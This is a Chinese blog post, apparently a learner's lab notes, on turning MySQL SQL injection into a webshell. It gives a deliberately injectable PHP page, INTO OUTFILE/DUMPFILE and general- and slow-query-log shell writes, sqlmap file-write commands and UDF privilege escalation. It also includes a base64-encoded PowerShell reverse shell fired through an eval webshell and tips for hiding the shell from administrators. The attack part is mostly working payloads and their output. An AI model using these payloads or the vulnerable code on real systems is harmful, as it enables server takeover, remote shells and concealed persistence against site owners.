利用sql注入getshell
Flow

感觉自己实操还有欠缺,刚好看到别的师傅有这个主题的博客,我也顺着写一篇笔记

环境配置

直接用了之前上课用到的代码,很简单构造出一个有sql注入的环境

mysql用的是5.1.60

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Get查询</title>
</head>
<body>
<div style="margin-top: 70px;color: black;font-size: 23px;text-align: center">
<font color="#FF0000">

<?php
include('con_database.php');

if(isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from books where id = '$id'";
$result = mysqli_query($con,$sql) or die('sql语句执行失败'.mysqli_error($con));
$row = mysqli_fetch_row($result);

if($row){
echo "<font size='5' color = '#99FF00'>";
echo 'Book name:'.$row[1];
echo "<br>";
echo 'Author:'.$row[2];
echo "</font>";
}
else{
print_r(mysqli_error($con));
}
}
else{echo "请输入要查询的记录id";}

?>
</font>
</div>
</body>
</html>

很明显漏洞在这里

1
$sql = "select * from books where id = '$id'";

Into outfile写入文件

利用条件
  • 执行INTO OUTFILE操作的用户必须拥有FILE权限,也可以说是必须是root权限
  • 知道当前网站的绝对路径,对应的路径有写入权限
  • PHPGPC为 off状态;(魔术引号,GET,POST,Cookie)
  • secure_file_priv 没有具体值

secure_file_priv 的值为null ,表示限制 mysqld 不允许导入|导出
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制

1
2
3
4
5
6
7
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

写入webshell

基于联合查询

1
-1' union select '<?php phpinfo(); ?>',NULL,NULL into outfile 'C:/phpstudy_pro/WWW/1.php' --+ 

非联合查询

1
-1' into outfile 'C:/phpstudy_pro/WWW/4.php' FIELDS TERMINATED BY '<?php phpinfo();?>' --+ 

空格可以用+号,%0a%0b%a0 、 /**/ 注释符等代替

sqlmap

1
sqlmap -u 'http://192.168.64.145/sql/sql2-2?id=1' --file-write=/Users/lingtian/downloads/info.php --file-dest="C:\phpstudy_pro\WWW\3.php"
Outfile和dumpfile的区别

outfile:

1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠

3、 不会在末尾追加换行

所以我们可以用dumpfile写入二进制文件,而用outfile写入的二进制文件最终会无法生效(追加的反斜杠会使二进制文件无法生效)

利用日志写入webshell

  • web文件夹权限宽松,可以接受写入新的东西
  • 最好是windows系统
  • 运行Mysql或Apache的是高权限

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

1
2
3
4
5
6
7
8
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------------------------+
| Variable_name | Value |
+------------------+-----------------------------------------------------------------+
| general_log | OFF |
| general_log_file | C:\phpstudy_pro\Extensions\MySQL5.1.60\data\WINDOWS-M9UNPKC.log |
+------------------+-----------------------------------------------------------------+
2 rows in set (0.00 sec)

第一个参数需要general_log是ON的状态,这样mysql才会记录每一条记录,第二个参数general_log_file是日志的文件路径

如果要写入shell,两个参数都要修改,如果是注入,可以利用到堆叠注入

用到一个源码

1
2
3
4
5
6
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));

mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。

在windows用这个给文件夹权限设置宽松

1
icacls "C:\phpstudy_pro\WWW"  /grant Everyone:(F) /T

Linux是

1
chmod -R 777 /var/www/html

如果遇到堆叠注入,payload可以这样写

先修改两个参数

1
?id=1';set global general_log = "ON";set global general_log_file='C:\phpstudy_pro\WWW\shell.php';--+

直接在数据库测试了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> set global general_log = "ON";
Query OK, 0 rows affected (0.00 sec)

mysql> SET GLOBAL general_log_file="C:\\phpstudy_pro\\WWW\\shell.php";
Query OK, 0 rows affected (0.00 sec)

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-------------------------------+
| Variable_name | Value |
+------------------+-------------------------------+
| general_log | ON |
| general_log_file | C:\phpstudy_pro\WWW\shell.php |
+------------------+-------------------------------+
2 rows in set (0.00 sec)

然后尝试写入shell

1
?id=1'; select '<?php eval(@$_GET['a']);?>'

写入后,注意这里要闭合好,不然没办法正常执行

1
2
3
4
5
6
PS C:\phpstudy_pro\www> type .\shell.php
C:\phpstudy_pro\COM\..\Extensions\MySQL5.1.60\\bin\mysqld.exe, Version: 5.1.60-community (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
250226 1:14:58 260 Query select '<?php eval(@$_GET['a']);?>'
260 Query show warnings

尝试生存个powershell的payload也能成功反弹shell

1
/shell.php?a=system(%27powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADYANAAuADEAOAA3ACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==%27);
慢查询

思路是差不多的,修改的参数不一样而已

1
2
3
4
show variables like '%slow_query_log%';		--查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell

为什么要用慢查询,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志,一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些

UDF提权

在MySQL>=5.1的版本,我们可以创建自定义函数的方式来执行恶意代码,添加的函数可以在select中使用,就像使用version()一样方便

sqlmap和Metasploit都提供了动态链接库,直接用就行

这次用的版本是5.7.26

寻找插件目录
1
2
3
4
5
6
7
mysql> show variables like '%plugin%';
+---------------+---------------------------------------------------+
| Variable_name | Value |
+---------------+---------------------------------------------------+
| plugin_dir | C:\phpstudy_pro\Extensions\MySQL5.7.26\lib/plugin |
+---------------+---------------------------------------------------+
1 row in set (0.01 sec)
写入动态链接库

secure_file_priv 要是空的!空的!空的!

如果有sql注入且是高权限,plugin目录可写,secure_file_priv 无限制,这个时候可以直接用sqlmap跑

1
sqlmap -u 'http://192.168.64.145/sql/sql2-2?id=1' --file-write=/Users/lingtian/downloads/lib_mysqludf_sys_64.dll --file-dest='C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf1.dll'

如果没有注入,可以在secure_file_priv 无限制的情况下,手工写到插件目录下

借鉴国光师傅的payload,成功写入执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf1.dll';
Query OK, 0 rows affected (0.03 sec)

mysql> select * from mysql.func;
+----------+-----+----------+----------+
| name | ret | dl | type |
+----------+-----+----------+----------+
| sys_eval | 0 | udf1.dll | function |
+----------+-----+----------+----------+
1 row in set (0.01 sec)

mysql> select sys_eval('whoami');
+-----------------------+
| sys_eval('whoami') |
+-----------------------+
| windows-m9unpkc\admin |
+-----------------------+
1 row in set (0.53 sec)

如果不想要一大串十六进制的东西,可以先加载dll写到一个文件,在dumpfile写进去

1
2
3
4
5
6
7
8
9
10
mysql> create table foo (xxx blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('C:\\Users\\admin\\Downloads\\lib_mysqludf_sys_32.dll'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\111.dll";
Query OK, 1 row affected (0.01 sec)

后面的加载函数同上

参考

https://www.sqlsec.com/2020/11/mysql.html

https://drun1baby.top/2022/07/20/SQL%E6%B3%A8%E5%85%A5Getshell%E5%AD%A6%E4%B9%A0/

https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

碎碎念

先大概写到这里,虽然不是很难,但是复现真的花了一些时间,有些小细节要注意,用户权限,文件夹宽松权限,secure_file_priv要是空的,这些都要注意!

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep